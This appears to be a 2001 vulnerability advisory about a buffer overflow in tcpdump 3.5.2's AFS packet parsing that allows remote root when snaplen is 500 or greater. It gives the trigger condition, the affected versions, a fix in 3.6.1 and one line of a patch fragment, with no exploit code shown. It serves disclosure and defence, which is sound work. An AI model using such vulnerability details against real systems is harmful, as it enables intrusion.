Tcpdump v3.5.2 remote root exploit - Tested against X86 Linux. Exploits an overflow in the AFS packet parsing which requires the snaplen (-s) to be set to 500 or greater. Fixed in v3.62.

Program: Tcpdump 3.5 (3.4, 3.6.* and the CVS version are not vulnerable)
Platform: *nix, Windoze
Risk: Remote root access
Author: Zhodiac <zhodiac@softhome.net>
Date: 4/1/2001



- Problem:
-----------

Tcpdump is a network packet analizer, capabel to decode sucj
protocols as X11, radius, smb,... When decoding one of this protocols
AFS exists a buffer overflow. Xploiting this bug an attacker can obtain
remote root access to the server. This buffer overflow only happens
when decoding all the packet, and it decodes all the packet when the
snaplen (option -s in command line) is bigger than 500.

This bug exists on the stable version of tcpdump (3.5.2), exists a
patch of kris@freebsd.org (27/Sep/2000) in the cvs, but never used with
the stable version. Developers were contacted and they released 3.6.1
with this bug fixed.

- Exploit:
----------

For proof of vulnerability we release the Linux x86 xploit. But be
aware, no public xploit for your system does not mean you can't be
hacked. Vulnerability exists, fix it!

- Fix:
------

Best solution is to wait for a new patched version (3.6.1), meanwhile
here you have a patch that will stop this attack (be aware that this
patch was not done after a total revision of the code, maybe there are
some other overflows).

------ print-rx.patch ---------

< if (sscanf((char *) s, "%s %d\n%n", user, &acl, &n) !=2)
